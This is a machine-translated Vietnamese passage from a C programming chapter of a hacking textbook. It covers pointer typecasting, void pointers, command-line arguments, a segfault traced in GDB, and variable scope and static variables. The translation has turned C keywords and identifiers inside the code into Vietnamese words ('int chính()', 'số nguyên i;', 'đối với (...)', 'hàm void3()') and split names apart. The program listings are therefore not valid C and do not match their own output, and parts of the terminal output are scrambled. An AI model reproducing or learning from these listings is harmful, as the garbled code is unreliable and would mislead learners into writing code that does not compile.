một biến khi đang chạy.
54 0x200
Machine Translated by Google
con trỏ_types3.c
#include <stdio.h>
int chính() {
số nguyên i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = (char *) int_array; // Ép kiểu vào
int_pointer = (int *) char_array; // kiểu dữ liệu của con trỏ.
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[con trỏ số nguyên] trỏ tới %p, chứa ký tự '%c'\n",
con trỏ int, *con trỏ int);
int_pointer = (int *) ((char *) int_pointer + 1);
}
for(i=0; i < 5; i++) { // Lặp qua mảng char bằng char_pointer.
printf("[char pointer] trỏ tới %p, chứa số nguyên %d\n",
con trỏ_ký_tự, *con trỏ_ký_tự);
con trỏ_ký_tự = (char *) ((int *) con trỏ_ký_tự + 1);
}
}
Trong đoạn mã này, khi các con trỏ được thiết lập ban đầu, dữ liệu được chuyển
kiểu thành kiểu dữ liệu của con trỏ. Điều này sẽ ngăn trình biên dịch C phàn nàn về
các kiểu dữ liệu xung đột; tuy nhiên, bất kỳ phép tính số học nào của con trỏ vẫn sẽ
không chính xác. Để khắc phục điều đó, khi 1 được thêm vào các con trỏ, trước tiên
chúng phải được chuyển kiểu thành đúng kiểu dữ liệu để địa chỉ được tăng lên một
lượng chính xác. Sau đó, con trỏ này cần được chuyển kiểu trở lại thành kiểu dữ liệu
của con trỏ một lần nữa. Nó trông không đẹp lắm, nhưng nó hoạt động.
reader@hacking:~/booksrc $ gcc pointer_types3.c
reader@hacking:~/booksrc $ ./a.out
[con trỏ số nguyên] trỏ tới 0xbffff810, chứa ký tự 'a'
[con trỏ số nguyên] trỏ tới 0xbffff811, chứa ký tự 'b'
[con trỏ số nguyên] trỏ tới 0xbffff812, chứa ký tự 'c'
[con trỏ số nguyên] trỏ tới 0xbffff813, chứa ký tự 'd'
[con trỏ số nguyên] trỏ tới 0xbffff814, chứa ký tự 'e'
[char pointer] trỏ đến 0xbffff7f0, chứa số nguyên 1
[char pointer] trỏ đến 0xbffff7f4, chứa số nguyên 2
[char pointer] trỏ đến 0xbffff7f8, chứa số nguyên 3
[char pointer] trỏ đến 0xbffff7fc, chứa số nguyên 4
[char pointer] trỏ đến 0xbffff800, chứa số nguyên 5
người đọc@hacking:~/booksrc $
Lập trình
55
Machine Translated by Google
Tất nhiên, việc sử dụng đúng kiểu dữ liệu cho con trỏ ngay từ đầu sẽ dễ dàng hơn nhiều;
tuy nhiên, đôi khi người ta lại muốn sử dụng một con trỏ chung, không có kiểu dữ liệu.
Trong C, con trỏ void là con trỏ không có kiểu dữ liệu, được định nghĩa bằng từ khóa void .
Thử nghiệm với con trỏ void sẽ nhanh chóng tiết lộ một vài điều về con trỏ không kiểu. Đầu tiên,
con trỏ không thể được giải tham chiếu trừ khi chúng có kiểu.
Để lấy giá trị được lưu trữ trong địa chỉ bộ nhớ của con trỏ, trước tiên trình biên dịch phải
biết loại dữ liệu đó là gì. Thứ hai, con trỏ void cũng phải được ép kiểu trước khi thực hiện phép
tính số học con trỏ. Đây là những hạn chế khá trực quan, có nghĩa là mục đích chính của con
trỏ void chỉ đơn giản là giữ một địa chỉ bộ nhớ.
Chương trình pointer_types3.c có thể được sửa đổi để sử dụng một con trỏ void duy nhất
bằng cách ép kiểu nó thành kiểu thích hợp mỗi lần sử dụng. Trình biên dịch biết rằng một con trỏ
void là không có kiểu, do đó bất kỳ kiểu con trỏ nào cũng có thể được lưu trữ trong một con trỏ
void mà không cần ép kiểu. Tuy nhiên, điều này cũng có nghĩa là một con trỏ void phải luôn được
ép kiểu khi hủy tham chiếu. Những khác biệt này có thể thấy trong pointer_types4.c, sử dụng một
con trỏ void.
con trỏ_types4.c
#include <stdio.h>
int chính() {
số nguyên i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
void *void_pointer;
void_pointer = (void *) mảng_ký tự;
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[char pointer] trỏ tới %p, chứa char '%c'\n",
con trỏ_void, *((char *) con trỏ_void));
void_pointer = (void *) ((char *) void_pointer + 1);
}
void_pointer = (void *) mảng_int;
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[con trỏ số nguyên] trỏ tới %p, chứa số nguyên %d\n",
con trỏ_void, *((int *) con trỏ_void));
con trỏ_void = (void *) ((int *) con trỏ_void + 1);
}
}
Kết quả của việc biên dịch và thực thi pointer_types4.c như sau.
56 0x200
Machine Translated by Google
reader@hacking:~/booksrc $ gcc pointer_types4.c
reader@hacking:~/booksrc $ ./a.out
[char pointer] trỏ tới 0xbffff810, chứa char 'a'
[char pointer] trỏ tới 0xbffff811, chứa ký tự 'b'
[char pointer] trỏ tới 0xbffff812, chứa char 'c'
[char pointer] trỏ đến 0xbffff813, chứa char 'd'
[char pointer] trỏ tới 0xbffff814, chứa char 'e'
[con trỏ số nguyên] trỏ tới 0xbffff7f0, chứa số nguyên 1
[con trỏ số nguyên] trỏ tới 0xbffff7f4, chứa số nguyên 2
[con trỏ số nguyên] trỏ tới 0xbffff7f8, chứa số nguyên 3
[con trỏ số nguyên] trỏ tới 0xbffff7fc, chứa số nguyên 4
[con trỏ số nguyên] trỏ tới 0xbffff800, chứa số nguyên 5
người đọc@hacking:~/booksrc $
Quá trình biên dịch và đầu ra của pointer_types4.c này về cơ bản giống như của pointer_types3.c.
Con trỏ void thực chất chỉ giữ địa chỉ bộ nhớ, trong khi kiểu ép kiểu được mã hóa cứng sẽ yêu cầu trình
biên dịch sử dụng các kiểu thích hợp bất cứ khi nào con trỏ được sử dụng.
Vì kiểu được xử lý bởi các kiểu ép kiểu, con trỏ void thực sự không gì hơn là một địa chỉ bộ nhớ.
Với các kiểu dữ liệu được định nghĩa bởi ép kiểu, bất kỳ thứ gì đủ lớn để chứa giá trị bốn byte đều có
thể hoạt động theo cùng một cách như con trỏ void. Trong pointer_types5.c, một số nguyên không dấu
được sử dụng để lưu trữ địa chỉ này.
con trỏ_types5.c
#include <stdio.h>
int chính() {
số nguyên i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
số nguyên không dấu hacky_nonpointer;
hacky_nonpointer = (số nguyên không dấu) mảng ký tự;
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[hacky_nonpointer] trỏ tới %p, chứa ký tự '%c'\n",
hacky_nonpointer, *((ký tự *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(ký tự);
}
hacky_nonpointer = (số nguyên không dấu) mảng_int;
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[hacky_nonpointer] trỏ tới %p, chứa số nguyên %d\n",
hacky_nonpointer, *((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(int);
}
}
Lập trình 57
Machine Translated by Google
Điều này khá là khó khăn, nhưng vì giá trị số nguyên này được ép kiểu
thành các kiểu con trỏ thích hợp khi nó được gán và giải tham chiếu, nên kết quả
cuối cùng là giống nhau. Lưu ý rằng thay vì ép kiểu nhiều lần để thực hiện phép
tính con trỏ trên một số nguyên không dấu (thậm chí không phải là con trỏ), sizeof ()
hàm được sử dụng để đạt được kết quả tương tự khi sử dụng phép tính số học thông thường.
reader@hacking:~/booksrc $ gcc pointer_types5.c
reader@hacking:~/booksrc $ ./a.out
[hacky_nonpointer] trỏ tới 0xbffff810, chứa ký tự 'a'
[hacky_nonpointer] trỏ đến 0xbffff811, chứa ký tự 'b'
[hacky_nonpointer] trỏ đến 0xbffff812, chứa ký tự 'c'
[hacky_nonpointer] trỏ đến 0xbffff813, chứa ký tự 'd'
[hacky_nonpointer] trỏ đến 0xbffff814, chứa ký tự 'e'
[hacky_nonpointer] trỏ đến 0xbffff7f0, chứa số nguyên 1
[hacky_nonpointer] trỏ đến 0xbffff7f4, chứa số nguyên 2
[hacky_nonpointer] trỏ đến 0xbffff7f8, chứa số nguyên 3
[hacky_nonpointer] trỏ đến 0xbffff7fc, chứa số nguyên 4
[hacky_nonpointer] trỏ đến 0xbffff800, chứa số nguyên 5
người đọc@hacking:~/booksrc $
Điều quan trọng cần nhớ về các biến trong C là trình biên dịch là thứ duy
nhất quan tâm đến kiểu của biến. Cuối cùng, sau khi chương trình được biên dịch,
các biến không gì khác ngoài địa chỉ bộ nhớ. Điều này có nghĩa là các biến của
một kiểu có thể dễ dàng bị ép buộc hoạt động như một kiểu khác bằng cách yêu
cầu trình biên dịch chuyển đổi kiểu thành kiểu mong muốn.
0x266 Đối số dòng lệnh
Nhiều chương trình phi đồ họa nhận đầu vào dưới dạng đối số dòng lệnh. Không
giống như nhập bằng scanf(), đối số dòng lệnh không yêu cầu tương tác của người
dùng sau khi chương trình bắt đầu thực thi. Điều này có xu hướng hiệu quả hơn và
là phương pháp nhập hữu ích.
Trong C, các đối số dòng lệnh có thể được truy cập trong hàm main() bằng cách
bao gồm hai đối số bổ sung vào hàm: một số nguyên và một con trỏ đến một mảng các
chuỗi. Số nguyên sẽ chứa số lượng các đối số và mảng các chuỗi sẽ chứa từng đối
số đó. Chương trình commandline.c và quá trình thực thi của nó sẽ giải thích mọi
thứ.
dòng lệnh.c
#include <stdio.h>
int main(int arg_count, char *arg_list[]) {
số nguyên i;
printf("Có %d đối số được cung cấp:\n", arg_count);
đối với (i = 0; i < số lượng đối số; i++)
printf("đối số #%d\t-\t%s\n", i, arg_list[i]);
}
58 0x200
Machine Translated by Google
reader@hacking:~/booksrc $ gcc -o commandline commandline.c
reader@hacking:~/booksrc $ ./commandline Có 1
đối số được cung cấp:
đối số #0
./dòng lệnh
reader@hacking:~/booksrc $ ./commandline đây là một bài kiểm tra
Có 5 lập luận được đưa ra:
đối số #0 ./commandline
lập luận số 1
lập luận số 2 là
lập luận số 3
lập luận số 4 thử nghiệm
cái này
-
Một
-
người đọc@hacking:~/booksrc $
Đối số thứ không luôn là tên của tệp nhị phân đang thực thi và phần còn lại
của mảng đối số (thường được gọi là vectơ đối số) chứa các đối số còn lại dưới
dạng chuỗi.
Đôi khi một chương trình sẽ muốn sử dụng một đối số dòng lệnh như một số nguyên trái ngược với một
chuỗi. Bất kể điều này, đối số được truyền vào như một chuỗi; tuy nhiên, có các hàm chuyển đổi chuẩn.
Không giống như ép kiểu đơn giản, các hàm này thực sự có thể chuyển đổi các mảng ký tự chứa các số thành
các số nguyên thực. Phổ biến nhất trong số các hàm này là atoi(), viết tắt của ASCII to integer. Hàm này
chấp nhận một con trỏ đến một chuỗi làm đối số của nó và trả về giá trị số nguyên mà nó biểu diễn. Quan
sát cách sử dụng của nó trong convert.c.
chuyển đổi.c
#include <stdio.h>
void sử dụng(char *tên_chương_trình) {
printf("Cách sử dụng: %s <tin nhắn> <# số lần lặp lại>\n", program_name);
thoát(1);
}
int main(int argc, char *argv[]) {
int i, đếm;
nếu(argc < 3)
// Nếu sử dụng ít hơn 3 đối số,
usage(argv[0]); // hiển thị thông báo sử dụng và thoát.
count = atoi(argv[2]); // Chuyển đổi đối số thứ 2 thành số nguyên.
printf("Lặp lại %d lần..\n", count);
đối với (i = 0; i < số lượng; i++)
printf("%3d - %s\n", i, argv[1]); // In ra đối số thứ nhất.
}
Kết quả của việc biên dịch và thực thi convert.c như sau.
reader@hacking:~/booksrc $ gcc convert.c
reader@hacking:~/booksrc $ ./a.out Cách
sử dụng: ./a.out <message> <# số lần lặp lại>
Lập trình 59
Machine Translated by Google
reader@hacking:~/booksrc $ ./a.out 'Xin chào thế giới!' 3
Lặp lại 3 lần..
0 - Xin chào thế giới!
1 - Xin chào thế giới!
2 - Xin chào thế giới!
người đọc@hacking:~/booksrc $
Trong đoạn mã trước, một câu lệnh if đảm bảo rằng ba đối số được sử dụng
trước khi các chuỗi này được truy cập. Nếu chương trình cố gắng truy cập bộ nhớ
không tồn tại hoặc chương trình không có quyền đọc, chương trình sẽ bị sập.
Trong C, điều quan trọng là phải kiểm tra các loại điều kiện này và xử lý chúng
trong logic chương trình. Nếu câu lệnh if kiểm tra lỗi được chú thích, vi phạm bộ
nhớ này có thể được khám phá. Chương trình convert2.c sẽ làm rõ điều này hơn.
chuyển đổi2.c
#include <stdio.h>
void sử dụng(char *tên_chương_trình) {
printf("Cách sử dụng: %s <tin nhắn> <# số lần lặp lại>\n", program_name);
thoát(1);
}
int main(int argc, char *argv[]) {
int i, đếm;
// nếu(argc < 3) //
// Nếu sử dụng ít hơn 3 đối số,
usage(argv[0]); // hiển thị thông báo sử dụng và thoát.
count = atoi(argv[2]); // Chuyển đổi đối số thứ 2 thành số nguyên.
printf("Lặp lại %d lần..\n", count);
đối với (i = 0; i < số lượng; i++)
printf("%3d - %s\n", i, argv[1]); // In ra đối số thứ nhất.
}
Kết quả của việc biên dịch và thực thi convert2.c như sau.
reader@hacking:~/booksrc $ gcc convert2.c
reader@hacking:~/booksrc $ ./a.out thử nghiệm
Lỗi phân đoạn (lõi bị đổ)
người đọc@hacking:~/booksrc $
Khi chương trình không được cung cấp đủ đối số dòng lệnh, nó vẫn cố gắng truy
cập các phần tử của mảng đối số, ngay cả khi chúng không tồn tại.
Điều này khiến chương trình bị sập do lỗi phân đoạn.
Bộ nhớ được chia thành các phân đoạn (sẽ được thảo luận sau) và một số địa
chỉ bộ nhớ không nằm trong ranh giới của các phân đoạn bộ nhớ mà chương trình được
cấp quyền truy cập. Khi chương trình cố gắng truy cập một địa chỉ nằm ngoài ranh
giới, nó sẽ bị sập và chết trong cái gọi là lỗi phân đoạn.
Hiệu ứng này có thể được khám phá sâu hơn với GDB.
60 0x200
Machine Translated by Google
reader@hacking:~/booksrc $ gcc -g convert2.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử
dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) chạy thử nghiệm
Bắt đầu chương trình: /home/reader/booksrc/a.out test
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0xb7ec819b trong ?? () từ /lib/tls/i686/cmov/libc.so.6
(gdb) ở đâu
#0 0xb7ec819b trong ?? () từ /lib/tls/i686/cmov/libc.so.6
#1 0xb800183c trong ?? ()
#2 0x00000000 trong ?? ()
(gdb) ngắt chính
Điểm dừng 1 tại 0x8048419: tệp convert2.c, dòng 14.
(gdb) chạy thử nghiệm
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Bắt đầu chương trình: /home/reader/booksrc/a.out test
Điểm dừng 1, chính (argc=2, argv=0xbffff894) tại convert2.c:14
14
count = atoi(argv[2]); // chuyển đổi đối số thứ 2 thành số nguyên
(gdb) tiếp theo
Tiếp tục.
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0xb7ec819b trong ?? () từ /lib/tls/i686/cmov/libc.so.6
(gdb) x/3xw 0xbffff894
0xbffff894: 0xbffff9b3
0xbffff9ce
0x00000000
(gdb) x/giây 0xbffff9b3
"/home/reader/booksrc/a.out"
0xbffff9b3:
(gdb) x/giây 0xbffff9ce
0xbffff9ce: "kiểm tra"
(gdb) x/giây 0x00000000
0x0:
<Địa chỉ 0x0 nằm ngoài giới hạn>
(gdb) thoát
Chương trình đang chạy. Thoát ra luôn? (y hoặc n) y
người đọc@hacking:~/booksrc $
Chương trình được thực hiện với một đối số dòng lệnh duy nhất là test
trong GDB, khiến chương trình bị sập. Lệnh where đôi khi sẽ hiển thị một backtrace
hữu ích của ngăn xếp; tuy nhiên, trong trường hợp này, ngăn xếp đã bị phá hỏng quá tệ
trong sự cố. Một điểm dừng được đặt trên main và chương trình được thực thi lại để
lấy giá trị của vectơ đối số (hiển thị in đậm). Vì vectơ đối số là một con trỏ đến danh
sách các chuỗi, nên thực tế nó là một con trỏ đến danh sách các con trỏ. Sử dụng lệnh
x/3xw để kiểm tra ba địa chỉ bộ nhớ đầu tiên được lưu trữ tại địa chỉ của vectơ đối
số cho thấy rằng bản thân chúng là các con trỏ đến chuỗi. Đầu tiên là đối số thứ
không, thứ hai là đối số kiểm tra và thứ ba là số không, nằm ngoài giới hạn.
Khi chương trình cố gắng truy cập địa chỉ bộ nhớ này, nó sẽ gặp lỗi phân đoạn.
Lập trình
61
Machine Translated by Google
Phạm vi biến 0x267
Một khái niệm thú vị khác liên quan đến bộ nhớ trong C là phạm vi biến hoặc ngữ
cảnh—cụ thể là ngữ cảnh của các biến trong các hàm. Mỗi hàm có một tập hợp các
biến cục bộ riêng, độc lập với mọi thứ khác. Trên thực tế, nhiều lệnh gọi đến
cùng một hàm đều có ngữ cảnh riêng.
Bạn có thể sử dụng hàm printf() với chuỗi định dạng để khám phá nhanh điều này;
hãy kiểm tra trong scope.c.
phạm vi.c
#include <stdio.h>
void func3()
{ int i =
11; printf("\t\t\t[trong func3] i = %d\n", i);
}
void func2()
{ int i =
7; printf("\t\t[trong func2] i = %d\n",
i);
func3(); printf("\t\t[trở lại func2] i = %d\n", i);
}
void func1()
{ int i =
5; printf("\t[trong func1] i = %d\n",
i);
func2(); printf("\t[trở lại trong func1] i = %d\n", i);
}
int main()
{ int i =
3; printf("[trong main] i = %d\n",
i);
func1(); printf("[trở lại main] i = %d\n", i);
}
Đầu ra của chương trình đơn giản này minh họa các lệnh gọi hàm lồng nhau.
reader@hacking:~/booksrc $ gcc scope.c
reader@hacking:~/booksrc $ ./a.out
[trong main] i =
3 [trong func1] i
= 5 [trong func2]
i = 7 [trong func3]
i = 11 [trở lại func2] i = 7
[trở lại func1] i = 5
[trở lại main] i = 3
reader@hacking:~/booksrc $
62 0x200
Machine Translated by Google
Trong mỗi hàm, biến i được đặt thành một giá trị khác nhau và được in ra.
Lưu ý rằng trong hàm main() , biến i là 3, ngay cả sau khi gọi func1() trong đó
biến i là 5. Tương tự như vậy, trong func1(), biến i
vẫn là 5, ngay cả sau khi gọi func2() trong đó i bằng 7, v.v. Cách tốt nhất để nghĩ về điều này là
mỗi lệnh gọi hàm đều có phiên bản riêng của biến i.
Biến cũng có thể có phạm vi toàn cục, nghĩa là chúng sẽ tồn tại trong tất cả các hàm. Biến là
toàn cục nếu chúng được định nghĩa ở đầu mã, bên ngoài bất kỳ hàm nào. Trong mã ví dụ scope2.c được hiển
thị bên dưới, biến j được khai báo toàn cục và được đặt thành 42. Biến này có thể được đọc từ và ghi
vào bởi bất kỳ hàm nào và các thay đổi đối với nó sẽ tồn tại giữa các hàm.
phạm vi2.c
#include <stdio.h>
int j = 42; // j là biến toàn cục.
hàm void3() {
int i = 11, j = 999; // Tại đây, j là biến cục bộ của func3().
printf("\t\t\t[trong hàm3] i = %d, j = %d\n", i, j);
}
hàm void func2() {
số nguyên i = 7;
printf("\t\t[trong func2] i = %d, j = %d\n", i, j);
printf("\t\t[trong func2] thiết lập j = 1337\n");
j = 1337; // Viết cho j
hàm3();
printf("\t\t[trở lại func2] i = %d, j = %d\n", i, j);
}
hàm void1() {
số nguyên i = 5;
printf("\t[trong hàm1] i = %d, j = %d\n", i, j);
hàm2();
printf("\t[trở lại func1] i = %d, j = %d\n", i, j);
}
int chính() {
số nguyên i = 3;
printf("[trong main] i = %d, j = %d\n", i, j);
hàm1();
printf("[trở lại trang chính] i = %d, j = %d\n", i, j);
}
Kết quả của việc biên dịch và thực thi scope2.c như sau.
reader@hacking:~/booksrc $ gcc scope2.c
reader@hacking:~/booksrc $ ./a.out
[ở main] i = 3, j = 42
Lập trình 63
Machine Translated by Google
[trong hàm số 1] i = 5, j = 42
[trong func2] i = 7, j = 42
[trong func2] thiết lập j = 1337
[trong hàm 3] i = 11, j = 999
[trở lại func2] i = 7, j = 1337
[trở lại func1] i = 5, j = 1337
[trở lại trang chính] i = 3, j = 1337
người đọc@hacking:~/booksrc $
Trong đầu ra, biến toàn cục j được ghi vào func2() và sự thay đổi vẫn tồn tại
trong tất cả các hàm ngoại trừ func3(), có biến cục bộ riêng gọi là j. Trong trường
hợp này, trình biên dịch thích sử dụng biến cục bộ.
Với tất cả các biến này sử dụng cùng tên, có thể hơi khó hiểu, nhưng hãy nhớ rằng cuối
cùng, tất cả chỉ là bộ nhớ. Biến toàn cục j chỉ được lưu trữ trong bộ nhớ và mọi hàm đều
có thể truy cập vào bộ nhớ đó. Các biến cục bộ cho mỗi hàm đều được lưu trữ ở các vị trí
riêng của chúng trong bộ nhớ, bất kể tên giống hệt nhau. Việc in địa chỉ bộ nhớ của các
biến này sẽ cung cấp hình ảnh rõ ràng hơn về những gì đang diễn ra. Trong đoạn mã ví dụ
scope3.c bên dưới, các địa chỉ biến được in bằng toán tử unary address-of.
phạm vi3.c
#include <stdio.h>
int j = 42; // j là biến toàn cục.
hàm void3() {
int i = 11, j = 999; // Tại đây, j là biến cục bộ của func3().
printf("\t\t\t[trong func3] i @ 0x%08x = %d\n", &i, i);
printf("\t\t\t[trong func3] j @ 0x%08x = %d\n", &j, j);
}
hàm void func2() {
số nguyên i = 7;
printf("\t\t[trong func2] i @ 0x%08x = %d\n", &i, i);
printf("\t\t[trong func2] j @ 0x%08x = %d\n", &j, j);
printf("\t\t[trong func2] thiết lập j = 1337\n");
j = 1337; // Viết cho j
hàm3();
printf("\t\t[trở lại func2] i @ 0x%08x = %d\n", &i, i);
printf("\t\t[trở lại func2] j @ 0x%08x = %d\n", &j, j);
}
hàm void1() {
số nguyên i = 5;
printf("\t[trong func1] i @ 0x%08x = %d\n", &i, i);
printf("\t[trong func1] j @ 0x%08x = %d\n", &j, j);
hàm2();
printf("\t[trở lại func1] i @ 0x%08x = %d\n", &i, i);
printf("\t[trở lại func1] j @ 0x%08x = %d\n", &j, j);
}
64 0x200
Machine Translated by Google
int chính() {
số nguyên i = 3;
printf("[trong main] i @ 0x%08x = %d\n", &i, i);
printf("[trong main] j @ 0x%08x = %d\n", &j, j);
hàm1();
printf("[trở lại main] i @ 0x%08x = %d\n", &i, i);
printf("[trở lại main] j @ 0x%08x = %d\n", &j, j);
}
Kết quả của việc biên dịch và thực thi scope3.c như sau.
reader@hacking:~/booksrc $ gcc scope3.c
reader@hacking:~/booksrc $ ./a.out [trong
main] i @ 0xbffff834 = 3
[trong main] j @ 0x08049988 = 42
[trong func1] i @ 0xbffff814 = 5
[trong func1] j @ 0x08049988 = 42
[trong func2] i @ 0xbffff7f4 = 7
[trong func2] j @ 0x08049988 = 42
[trong func2] thiết lập j = 1337
[trong func3] i @ 0xbffff7d4 = 11
[trong func3] j @ 0xbffff7d0 = 999
[trở lại func2] i @ 0xbffff7f4 = 7
[trở lại func2] j @ 0x08049988 = 1337
[trở lại func1] i @ 0xbffff814 = 5
[trở lại func1] j @ 0x08049988 = 1337
[trở lại trang chính] i @ 0xbffff834 = 3
[trở lại trang chính] j @ 0x08049988 = 1337
người đọc@hacking:~/booksrc $
Trong đầu ra này, rõ ràng là biến j được func3() sử dụng khác với j được các hàm khác sử
dụng. j được func3() sử dụng nằm ở 0xbffff7d0, trong khi j được các hàm khác sử dụng nằm ở
0x08049988.
Ngoài ra, hãy lưu ý rằng biến i thực chất là một địa chỉ bộ nhớ khác nhau cho mỗi hàm.
Trong kết quả sau, GDB được sử dụng để dừng thực thi tại điểm dừng trong func3(). Sau đó, lệnh
backtrace hiển thị bản ghi của mỗi lệnh gọi hàm trên ngăn xếp.
reader@hacking:~/booksrc $ gcc -g scope3.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng
thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 1
1
#include <stdio.h>
2
int j = 42; // j là biến toàn cục.
3 4
hàm void3() {
int i = 11, j = 999; // Tại đây, j là biến cục bộ của func3().
5 6
printf("\t\t\t[trong func3] i @ 0x%08x = %d\n", &i, i);
printf("\t\t\t[trong func3] j @ 0x%08x = %d\n", &j, j);
7 8
9
}
Lập trình
65
Machine Translated by Google
10
(gdb) phá vỡ 7
Điểm dừng 1 tại 0x8048388: tệp scope3.c, dòng 7.
(gdb) chạy
Bắt đầu chương trình: /home/reader/booksrc/a.out
[trong main] i @ 0xbffff804 = 3
[trong main] j @ 0x08049988 = 42
[trong func1] i @ 0xbffff7e4 = 5
[trong func1] j @ 0x08049988 = 42
[trong func2] i @ 0xbffff7c4 = 7
[trong func2] j @ 0x08049988 = 42
[trong func2] thiết lập j = 1337
Điểm dừng 1, func3 () tại phạm vi 3.c: 7
7
printf("\t\t\t[trong func3] i @ 0x%08x = %d\n", &i, i);
(gdb) bt
#0 func3() tại scope3.c:7
#1 0x0804841d trong func2() tại scope3.c:17
#2 0x0804849f trong func1() tại scope3.c:26
#3 0x0804852b trong main() tại scope3.c:35
(gdb)
Backtrace cũng hiển thị các lệnh gọi hàm lồng nhau bằng cách xem các bản ghi được lưu trên ngăn
xếp. Mỗi lần một hàm được gọi, một bản ghi được gọi là khung ngăn xếp
được đưa vào ngăn xếp. Mỗi dòng trong backtrace tương ứng với một khung ngăn xếp.
Mỗi khung stack cũng chứa các biến cục bộ cho ngữ cảnh đó. Các biến cục bộ có trong mỗi khung stack có
thể được hiển thị trong GDB bằng cách thêm từ full vào lệnh backtrace.
(gdb) bt đầy đủ
#0 func3() tại scope3.c:7
tôi = 11
j = 999
#1 0x0804841d trong func2() tại scope3.c:17
tôi = 7
#2 0x0804849f trong func1() tại scope3.c:26
tôi = 5
#3 0x0804852b trong main() tại scope3.c:35
tôi = 3
(gdb)
Backtrace đầy đủ cho thấy rõ ràng rằng biến cục bộ j chỉ tồn tại trong ngữ cảnh của func3() .
Phiên bản toàn cục của biến j được sử dụng trong ngữ cảnh của hàm khác.
Ngoài các biến toàn cục, các biến cũng có thể được định nghĩa là các biến tĩnh bằng cách thêm từ
khóa static vào trước định nghĩa biến. Tương tự như các biến toàn cục, một biến tĩnh vẫn còn nguyên
vẹn giữa các lệnh gọi hàm; tuy nhiên, các biến tĩnh cũng giống như các biến cục bộ vì chúng vẫn cục bộ
trong một ngữ cảnh hàm cụ thể. Một tính năng khác biệt và độc đáo của các biến tĩnh là chúng chỉ được
khởi tạo một lần. Mã trong static.c sẽ giúp giải thích các khái niệm này.
66 0x200
Machine Translated by Google
tĩnh.c
#include <stdio.h>
void function() { // Một hàm ví dụ, có ngữ cảnh riêng int var = 5;
static int
static_var = 5; // Khởi tạo biến tĩnh
printf("\t[trong hàm] var = %d\n", var);
printf("\t[trong hàm] static_var = %d\n", static_var); var++;
// Thêm một vào var.
static_var++; // Thêm một vào static_var.
}
int main() { // Hàm main, có ngữ cảnh riêng
int
i; static int static_var = 1337; // Một static khác, trong một ngữ cảnh khác
for(i=0; i < 5; i++) { // Lặp 5 lần.
printf("[in main] static_var = %d\n", static_var);
function(); // Gọi hàm.
}
}
static_var được đặt tên khéo léo được định nghĩa là một biến tĩnh ở hai nơi: trong ngữ cảnh của
main() và trong ngữ cảnh của function(). Vì các biến tĩnh là cục bộ trong một ngữ cảnh chức năng cụ thể,
các biến này có thể có cùng tên, nhưng chúng thực sự biểu diễn hai vị trí khác nhau trong bộ nhớ. Hàm
chỉ cần in các giá trị của hai biến trong ngữ cảnh con của nó và sau đó thêm 1 vào cả hai biến. Biên
dịch và thực thi mã này sẽ hiển thị sự khác biệt giữa các biến tĩnh và biến không tĩnh.
reader@hacking:~/booksrc $ gcc static.c
reader@hacking:~/booksrc $ ./a.out
[trong main] static_var =
1337 [trong hàm] var =
5 [trong hàm] static_var = 5
[trong main] static_var =
1337 [trong hàm] var =
5 [trong hàm] static_var = 6
[trong main] static_var =
1337 [trong hàm] var =
5 [trong hàm] static_var = 7
[trong main] static_var =
1337 [trong hàm] var =
5 [trong hàm] static_var = 8
[trong main] static_var =
1337 [trong hàm] var =
5 [trong hàm] static_var = 9
người đọc@hacking:~/booksrc $
Lập trình 67
Machine Translated by Google
Lưu ý rằng static_var giữ nguyên giá trị của nó giữa các lần gọi hàm() tiếp
theo. Điều này là do các biến tĩnh giữ nguyên giá trị của chúng, nhưng cũng vì chúng
chỉ được khởi tạo một lần. Ngoài ra, vì các biến tĩnh là cục bộ đối với một ngữ
cảnh chức năng cụ thể, nên static_var trong ngữ cảnh của main()
vẫn giữ nguyên giá trị 1337 trong suốt thời gian đó.
Một lần nữa, việc in địa chỉ của các biến này bằng cách hủy tham chiếu chúng
với toán tử địa chỉ đơn sẽ cung cấp khả năng thực tế hơn về những gì thực sự đang
diễn ra. Hãy xem static2.c để biết ví dụ.
tĩnh2.c
#include <stdio.h>
void function() { // Một hàm ví dụ, có ngữ cảnh riêng
int biến = 5;
static int static_var = 5; // Khởi tạo biến tĩnh
printf("\t[trong hàm] var @ %p = %d\n", &var, var);
printf("\t[trong hàm] static_var @ %p = %d\n", &static_var, static_var);
// Thêm 1 vào var.
var++;
static_var++; // Thêm 1 vào static_var.
}
int main() { // Hàm main, có ngữ cảnh riêng
số nguyên i;
static int static_var = 1337; // Một static khác, trong một ngữ cảnh khác
for(i=0; i < 5; i++) { // lặp 5 lần
printf("[trong main] static_var @ %p = %d\n", &static_var, static_var);
function(); // Gọi hàm.
}
}
Kết quả của việc biên dịch và thực thi static2.c như sau.
reader@hacking:~/booksrc $ gcc static2.c
reader@hacking:~/booksrc $ ./a.out
[trong main] static_var @ 0x804968c = 1337
[trong hàm] var @ 0xbffff814 = 5
[trong hàm] static_var @ 0x8049688 = 5
[trong main] static_var @ 0x804968c = 1337
[trong hàm] var @ 0xbffff814 = 5
[trong hàm] static_var @ 0x8049688 = 6
[trong main] static_var @ 0x804968c = 1337
[trong hàm] var @ 0xbffff814 = 5
[trong hàm] static_var @ 0x8049688 = 7
[trong main] static_var @ 0x804968c = 1337
[trong hàm] var @ 0xbffff814 = 5
